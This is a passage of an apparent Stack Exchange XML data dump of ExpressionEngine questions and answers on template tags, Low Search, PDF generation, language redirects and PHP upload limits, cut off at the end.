  <row Id="7109" PostTypeId="1" CreationDate="2013-03-06T22:58:46.490" Score="1" ViewCount="166" Body="&lt;p&gt;I have a channel entries tag which displays Videos and then a playa pair tag (coparents) which displays related videos based on a specific field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I would like to display other videos (let's say the last two entries of the &quot;video&quot; channel) in case no related videos are found. I tried with &lt;code&gt;{if no_coparents}...{/if}&lt;/code&gt; but no luck so far since I don't manage to display video channel entries inside those tags. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;video&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; status=&quot;open&quot; transcribe=&quot;disable&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  {video_file}&#xA;  {video_description}&#xA;&#xA;  &amp;lt;div class=&quot;block-related three columns&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;first-title&quot;&amp;gt;Related Videos&amp;lt;/h2&amp;gt;&#xA;    {exp:playa:coparents channel=&quot;video&quot; field=&quot;video_related_field&quot; dynamic=&quot;no&quot; limit=&quot;2&quot;}&#xA;      &amp;lt;div&amp;gt;&#xA;        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;          &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;            {if video_flickr_thumbnail}&#xA;            &amp;lt;img src=&quot;{video_flickr_thumbnail}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;            {if:elseif video_thumbnail}&#xA;            &amp;lt;img src=&quot;{video_thumbnail}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;            {/if}&#xA;          &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/exp:playa:coparents}&#xA;&#xA;{!-- Now here I would like to get something in case there isn't any related video.&#xA;It would be great if I could just call {exp:channel:entries channel=&quot;video&quot;}&#xA;to retrieve the last two videos. I tried with {if no_coparents} ... {/if}&#xA;but no luck so far. --}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1062" LastEditorUserId="55" LastEditDate="2013-03-07T16:25:24.653" LastActivityDate="2013-03-14T18:41:24.350" Title="Inside Playa {if no_coparents}, display channel entries" Tags="|channel-entries|playa|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7110" PostTypeId="2" ParentId="7109" CreationDate="2013-03-07T00:22:16.347" Score="0" Body="&lt;p&gt;You'll have to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;embed&lt;/a&gt; your alternative Channel Entries loop in this case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:coparents channel=&quot;video&quot; field=&quot;video_related_field&quot; dynamic=&quot;no&quot; limit=&quot;2&quot;}&#xA;    &amp;lt;!-- snip --&amp;gt;&#xA;    {if no_coparents}&#xA;        {embed=&quot;videos/_related&quot;}&#xA;    {/if}&#xA;{/exp:playa:coparents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-07T00:22:16.347" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7111" PostTypeId="2" ParentId="7108" CreationDate="2013-03-07T00:29:24.450" Score="1" Body="&lt;p&gt;This query should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;{exp:query sql=&quot;SELECT count(*) as member_count, m_field_id_3 as country FROM exp_member_data WHERE m_field_id_3 != '' GROUP BY m_field_id_3 ORDER BY m_field_id_3 ASC&quot;}&#xA;    {country} ({member_count})&amp;lt;br /&amp;gt;&#xA;{/exp:query}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-07T00:29:24.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7112" PostTypeId="1" CreationDate="2013-03-07T00:55:28.660" Score="0" ViewCount="63" Body="&lt;p&gt;I'm trying to delete a forum thread using Forum Module v 3.1.10 and EE 2.5.2 and after I hit the delete confirmation button I get redirected to the site's home page which is blank. Refreshing the page brings up a dialogue for confirming form submission, and I get returned to the blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I manually change the URL in the address bar and then return to the forum, the thread is still there. So I'm unable to delete forum threads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turning on debugging in index.php isn't showing any errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else had this problem before?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-07T18:34:36.713" Title="Can't delete forum threads" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7113" PostTypeId="2" ParentId="7081" CreationDate="2013-03-07T01:45:52.770" Score="1" Body="&lt;p&gt;It sounds like you're not going about this quite the right way. What I would suggest is that you remove the email confirmation step (set member accounts to register straight away). That way you don't need to worry about hacking EE internals to change the member registration process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next problem you want to solve is sending a &quot;welcome&quot; email. I would take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; to see whether that will meet your needs. But treat the &quot;send welcome email on member signup&quot; separately from whether or not member email addresses require confirmation.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-07T01:45:52.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7114" PostTypeId="2" ParentId="6969" CreationDate="2013-03-07T03:52:00.767" Score="5" Body="&lt;p&gt;Rick, I poked around and found what I think are the allowable settings for those first two in /system/expressionengine/models/admin_model.php. It looks like 'y/n' are the only allowable values for redirect_submitted_links or banish_masked_ips. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the values for req_mbr_activation in /system/expressionengine/controllers/cp/members.php at line 1674 (this is EE 2.5.3 I'm looking at) and they are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'req_mbr_activation'        &#xA;    =&amp;gt; array('s', &#xA;        array('none' =&amp;gt; 'no_activation', &#xA;              'email' =&amp;gt; 'email_activation', &#xA;              'manual' =&amp;gt; 'manual_activation'&#xA;             )&#xA;           ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-03-07T03:52:00.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7116" PostTypeId="1" CreationDate="2013-03-07T04:14:03.183" Score="2" ViewCount="7827" Body="&lt;p&gt;Has anyone come across a situation where the following process is required:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;HTML form is completed on website&lt;/li&gt;&#xA;&lt;li&gt;Form gets submitted&lt;/li&gt;&#xA;&lt;li&gt;PDF of form details is created&lt;/li&gt;&#xA;&lt;li&gt;Generated PDF is emailed to a specified admin email address&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How did you go about it, what plugins (if any) did you use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2014-01-06T03:57:05.313" Title="Create PDF from form data then email PDF" Tags="|email|forms|html-email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7117" PostTypeId="2" ParentId="7071" CreationDate="2013-03-07T05:01:03.690" Score="1" Body="&lt;p&gt;Since you are trying to build links to entries and would like to allow the end user to simply &quot;choose&quot; the page, I'd recommend using the native Relationship field. If your &quot;pages&quot; entries are housed in multiple channels then use Playa instead (with single select mode). You can easily build links to Channel entries using either of these fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you &lt;em&gt;are&lt;/em&gt; using Structure, then as Mark said StructureFrame works great for this.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-03-07T05:01:03.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7118" PostTypeId="1" AcceptedAnswerId="7124" CreationDate="2013-03-07T05:55:01.667" Score="1" ViewCount="1238" Body="&lt;p&gt;I'm new to Low Search, and i'm trying to get Low Search to work. But when i use the expample codes and after a while of experimenting with some parameters i don't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i noticed is that after i build a index a collection, and when i go directly back to manage collection, i says &quot;Rebuild Index&quot; again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do i miss here? Because all i get is - no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My test code is pretty simple&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Search form:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:low_search:form &#xA;    collection=&quot;nieuws&quot; &#xA;    form_class=&quot;navbar-search pull-right&quot; &#xA;    search_mode=&quot;any&quot;}&#xA;        &amp;lt;input type=&quot;text&quot; class=&quot;search-query input-small&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; placeholder=&quot;Zoeken&quot;&amp;gt;&#xA;    {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Search results page:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:low_search:results &#xA;    collection=&quot;nieuws&quot; &#xA;    search:field=&quot;title&quot; &#xA;    loose_ends=&quot;yes&quot; &#xA;    query=&quot;{segment_3}&quot; &#xA;    search_mode=&quot;any&quot; &#xA;    limit=&quot;10&quot;}&#xA;            {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;             &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;        {if no_results}Geen resultaten gevonden{/if}&#xA;    {/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="656" LastActivityDate="2013-03-07T15:10:13.593" Title="Starting with Low Search" Tags="|low-search|no-results|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7120" PostTypeId="2" ParentId="7116" CreationDate="2013-03-07T08:06:09.580" Score="2" Body="&lt;p&gt;I believe a number of add-ons, like &lt;a href=&quot;https://www.exp-resso.com/store&quot; rel=&quot;nofollow&quot;&gt;Exp:resso's Store&lt;/a&gt;, that automate the creation of PDF files, use &lt;a href=&quot;https://github.com/dompdf/dompdf#readme&quot; rel=&quot;nofollow&quot;&gt;DOMPDF&lt;/a&gt;: an HTML to PDF converter. It can be called directly with PHP for use in ExpressionEngine or you can take a look at Patrick Pohler's &lt;a href=&quot;http://devot-ee.com/add-ons/pdf-press&quot; rel=&quot;nofollow&quot;&gt;PDF Press&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used &lt;strong&gt;PDF Press&lt;/strong&gt;, it's pretty new, but with the exception of the one issue with Unicode Characters, that has been fixed/address, I haven't really heard any complaints about it. It's probably the simplest method for adding &lt;strong&gt;DOMPDF&lt;/strong&gt; functionality to your website, if you don't like delving into PHP or just don't want to turn PHP on in your templates for security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other PDF converter plugins, but most use something like &lt;a href=&quot;http://pdfcrowd.com&quot; rel=&quot;nofollow&quot;&gt;PDF Crowd&lt;/a&gt;. &lt;strong&gt;PDFCrowd&lt;/strong&gt; is free for single use or small amounts (up to 100 PDF files), but have a monthly charge if you need to create more than that or have an unknown amount of data, say submission of web forms (you could get 5, 500, or 5000 forms submitted). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for sending the PDF as an email… you'd probably need to figure out which PDF solution you are going to use first, then you can explore various notification and email solutions like &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify&lt;/a&gt;. Though admittedly, I'm not certain why you wouldn't just send an HTML formatted email, with a link where a PDF could be generated if needed.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-07T08:06:09.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7121" PostTypeId="1" CreationDate="2013-03-07T09:30:16.957" Score="0" ViewCount="1120" Body="&lt;p&gt;We're using Channel Files on a build to deliver podcast episodes. The Channel Entry the episodes belong to are albums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we're looking to do is find a way to calculate the duration of the MP3 file automatically rather than rely on user input. We had looked at &lt;a href=&quot;http://devot-ee.com/add-ons/mx-getid3&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-getid3&lt;/a&gt; but doesn't work on remote files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it even possible?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-05-05T23:18:09.643" Title="get the duration of mp3 on Amazon S3" Tags="|channel-entries|channel-files|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7122" PostTypeId="1" AcceptedAnswerId="7128" CreationDate="2013-03-07T09:38:33.680" Score="2" ViewCount="319" Body="&lt;p&gt;I'm looking for a way to use exp:query in entries. So far I haven't been able to find this. I know it's not recommended but for what I'm trying to build it's most feasible to do so. That way I'll be able to get data from other datatables.&lt;/p&gt;&#xA;" OwnerUserId="1135" LastActivityDate="2013-03-07T14:17:57.230" Title="How can I use exp:query in entries?" Tags="|channel-entries|custom-fields|query|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7123" PostTypeId="2" ParentId="7118" CreationDate="2013-03-07T10:26:19.073" Score="0" Body="&lt;p&gt;I think the parameter &lt;code&gt;search:field=&quot;title&quot;&lt;/code&gt; is your problem here. The syntax means the the form is searching a custom field you've setup with the name &quot;field&quot; for the text &quot;title.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you probably want is to search the entry's title for the keyword entered into the {exp:low_search:form}, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try removing the parameter &lt;code&gt;search:field=&quot;title&quot;&lt;/code&gt; altogether. You probably don't need to specify searching the title. As long as you don't set the title search weight to '0' in your collection, it will search the title for matching keywords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only want to search entry titles, I think you would use 'search:title' in your form code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;collection=&quot;nieuws&quot; &#xA;form_class=&quot;navbar-search pull-right&quot; &#xA;search_mode=&quot;any&quot;}&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;search-query input-small&quot; name=&quot;search:title&quot; id=&quot;search:title&quot; placeholder=&quot;Zoeken&quot;&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-07T10:26:19.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7124" PostTypeId="2" ParentId="7118" CreationDate="2013-03-07T10:31:10.227" Score="3" Body="&lt;p&gt;Firstly, check if your collection 'nieuws' has weighted fields. At least one of the fields in the collection should have weight of &gt; 0. A weight of 0 means the field is not added to the index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, you can simplify your tags somewhat. You've already got the &lt;code&gt;collection&lt;/code&gt; and &lt;code&gt;search_mode&lt;/code&gt; parameters set in the Form tag, so no need to repeat them in the Results tag. Also, the &lt;code&gt;search:field=&quot;title&quot;&lt;/code&gt; seems off to me. That parameter is a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;native search: parameter&lt;/a&gt; and probably does nothing, unless you have a field called &lt;code&gt;field&lt;/code&gt; which has the value &lt;code&gt;title&lt;/code&gt;. Don't think that's what you're after, so ditch that. Your opening Results tag could simply be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;10&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Optionally add the &lt;code&gt;loose_ends&lt;/code&gt; parameter to either the Form or the Results tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding it to the Form tag:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Logs the parameter&lt;/li&gt;&#xA;&lt;li&gt;Slightly longer URI&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Adding it to the Results tag:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Doesn't log the parameter&lt;/li&gt;&#xA;&lt;li&gt;Slightly shorter URI&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit after taking a look:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure that the &lt;code&gt;query=&quot;{segment_3}&quot;&lt;/code&gt; parameter actually points to the encoded query in the URI. Yours was pointing at an empty segment, as your results page URI looks like &lt;code&gt;zoeken/ABC&lt;/code&gt; (where ABC is the encoded query), so you needed to change the query parameter to &lt;code&gt;query=&quot;{segment_2}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-03-07T15:10:13.593" LastActivityDate="2013-03-07T15:10:13.593" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7125" PostTypeId="2" ParentId="7122" CreationDate="2013-03-07T10:41:54.650" Score="1" Body="&lt;p&gt;Are you planing to put exp:query code in your channel entries ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, there has to be a better way to achieve the result you're going for than having to put sql queries in your channel entries ( and within range of your clients )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you could give us some more info about what you're trying to do ?&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-03-07T10:41:54.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7126" PostTypeId="2" ParentId="7102" CreationDate="2013-03-07T11:22:23.510" Score="2" Body="&lt;p&gt;It sounds like you want one text link to open a slideshow of several images in Colorbox, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to add those colorbox links to the HTML but hide them with CSS. They can be grouped by using the &lt;code&gt;rel&lt;/code&gt; parameter like &lt;code&gt;&amp;lt;a href=&quot;img.jpg&quot; rel=&quot;group1&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/alexroper/zHZXR/&quot; rel=&quot;nofollow&quot;&gt;Here's an example of using the rel attribute with Colorbox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you can group them by setting the rel parameter in colorbox like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.group1&quot;).colorbox({rel:'group1'});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/alexroper/zHZXR/2/&quot; rel=&quot;nofollow&quot;&gt;Here's an example of that&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of your EE template code, you could do something like this and add a &quot;hide&quot; class to each link after the first matrix row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;gallery&quot;}&#xA;  {gallery}&#xA;    &amp;lt;a class=&quot;gallery{if '{row_count}' &amp;gt; 1} hide{/if}&quot; rel=&quot;group1&quot; href=&quot;{cell_1}&quot;&amp;gt;Gallery&amp;lt;/a&amp;gt;&#xA;  {/gallery}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-07T11:22:23.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7127" PostTypeId="2" ParentId="7099" CreationDate="2013-03-07T14:16:00.490" Score="3" Body="&lt;p&gt;Personally, I would avoid having the accordion markup itself done in the Wygwam field. I've done this sort of thing before, and there's a lot of things a client can do incorrectly that way.  The way I would suggest you consider doing it is with Matrix, adding a row for each element of the accordion.  That way, markup is exclusively in the template and you can protect the client from making a mistake. You could still potentially use Wygwam as the field in Matrix in which they place the accordion item content. That's my suggestion anyway, for what it's worth.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-03-07T14:16:00.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7128" PostTypeId="2" ParentId="7122" CreationDate="2013-03-07T14:17:57.230" Score="3" Body="&lt;p&gt;You'll need to use the &lt;a href=&quot;https://github.com/EllisLab/Allow-Eecode&quot; rel=&quot;nofollow&quot;&gt;Allow EE Code&lt;/a&gt; plugin, and wrap your field with it on the front-end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:allow_eecode query=&quot;y&quot;}&#xA;    {my_field}&#xA;{/exp:allow_eecode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-07T14:17:57.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7129" PostTypeId="2" ParentId="6958" CreationDate="2013-03-07T14:23:00.897" Score="1" Body="&lt;p&gt;It looks like &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot;&gt;Title Master&lt;/a&gt; is claiming full Structure support and Title Control is not, so I'll be moving in that direction.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-07T14:23:00.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7130" PostTypeId="2" ParentId="7116" CreationDate="2013-03-07T14:31:16.313" Score="0" Body="&lt;p&gt;We accomplished this in the past with our own code. &lt;a href=&quot;http://www.pdflib.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDFLib&lt;/a&gt; was the PHP library we used. &lt;a href=&quot;http://www.fpdf.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FPDF&lt;/a&gt; is another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These libraries allow you to create a PDF offline as a template, and then, using PHP, lot your content in the PDF and apply formatting.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Form gets submitted&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You didn't indicate how you were submitting the form. If you're using Freeform, there's a post-submit hook that will allow you to encapsulate your PDF logic in an extension and run that extension any time the form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Safecracker you can set your redirect page to be a post-processor page in your templates. Enable PHP on output for that template, pass the new entry ID on the URL, and use that to get the entry's details. If you have PHP set to run on output, you can pass the entry's values into PHP to bundle into the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to generate and save the PDF to the server, and then use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/email.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Email class&lt;/a&gt; to build and send your email with the PDF attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all that said, I agree with nonprofit_tech: Why not send the email with a link to the PDF, or just send the details right in email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I covered our work with PDFs in &lt;a href=&quot;https://expressionengine.stackexchange.com/a/6154/293&quot;&gt;https://expressionengine.stackexchange.com/a/6154/293&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-03-07T14:31:16.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7131" PostTypeId="2" ParentId="7096" CreationDate="2013-03-07T14:33:06.813" Score="2" Body="&lt;p&gt;Try adding the following to your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value memory_limit 128M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-07T14:33:06.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7132" PostTypeId="2" ParentId="6892" CreationDate="2013-03-07T14:48:03.213" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but the links generated inside wygwam do not consider the currently selected language.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can offer a few solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - I had a situation where links to certain entries did not have the custom URL path I wanted, so I needed to set up a redirect on them if generated links hit the base URL. I did that with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot; require_entry=&quot;yes&quot;}&#xA;{redirect=&quot;{global_lang_var}/{segment_1}/{segment_2}/{segment_3}/{segment_4}/{segment_5}/{segment_6}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could wrap that in a conditional that checks to see if &lt;code&gt;segment_1&lt;/code&gt; contains one of your language codes. If not, do the lookup, if there's a matching entry, do the redirect. Put this in an embed or segment, and include it at the top of all your pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - I'm using the &quot;old school&quot; multilanguage approach, with a subdirectory for each language and a global var set in the subdirectory. I also set a cookie when a user selects a language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a cookie has been set that says the user has chosen Spanish/es, and the URL requested does not contain es, whether it contains another language or no language, you can redirect them using PHP to the right page. This is my cookie check/set code. It's not the solution I'm describing, but should get you started.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;    $lang = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;cookie('ase_lang');&#xA;    $page = $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;uri_string;&#xA;&#xA;    if ($lang != $this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars['ase_lang'] &amp;amp;&amp;amp; $lang !='')&#xA;    {&#xA;        header(&quot;Location: /$lang/$page&quot;); exit;&#xA;    }&#xA;    elseif ($lang != $this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars['ase_lang'])&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;set_cookie('ase_lang', $lang, 31536000);&#xA;    }&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is: Put a snippet at the top of every page that checks the globally selected language against the URL (containing a different language or absent a language) and redirect accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We usually have our HTML head set as an embed or snippet on every page of the site, so you should be able to set this up once and have it handle any links.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-07T14:48:03.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7133" PostTypeId="2" ParentId="7101" CreationDate="2013-03-07T14:59:48.427" Score="2" Body="&lt;p&gt;If you look at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html#activating-and-updating&quot; rel=&quot;nofollow&quot;&gt;Activating &amp;amp; Updating&lt;/a&gt; in the Extensions documentation, you'll see in the code example that the data passed to the Insert query contains a reference to an ExpressionEngine hook. That database entry will enable your extension to be called when that hook is triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/index.html&quot; rel=&quot;nofollow&quot;&gt;available hooks are documented here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-07T14:59:48.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7134" PostTypeId="2" ParentId="7096" CreationDate="2013-03-07T15:27:32.253" Score="3" Body="&lt;p&gt;See here: &lt;a href=&quot;https://stackoverflow.com/a/6135485/462702&quot;&gt;https://stackoverflow.com/a/6135485/462702&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to increase PHP's maximum upload size. This is nothing to do with Assets (otherwise it would be broken in your development environment too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to change TWO settings (PHP will use the lowest). You can either change them in &lt;code&gt;php.ini&lt;/code&gt; (preferable, if you have access to it), or your &lt;code&gt;.htaccess&lt;/code&gt; (changing the values in your &lt;code&gt;.htaccess&lt;/code&gt; won't always be allowed by your host). If neither option is available to you, you need to contact your web host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either set these in 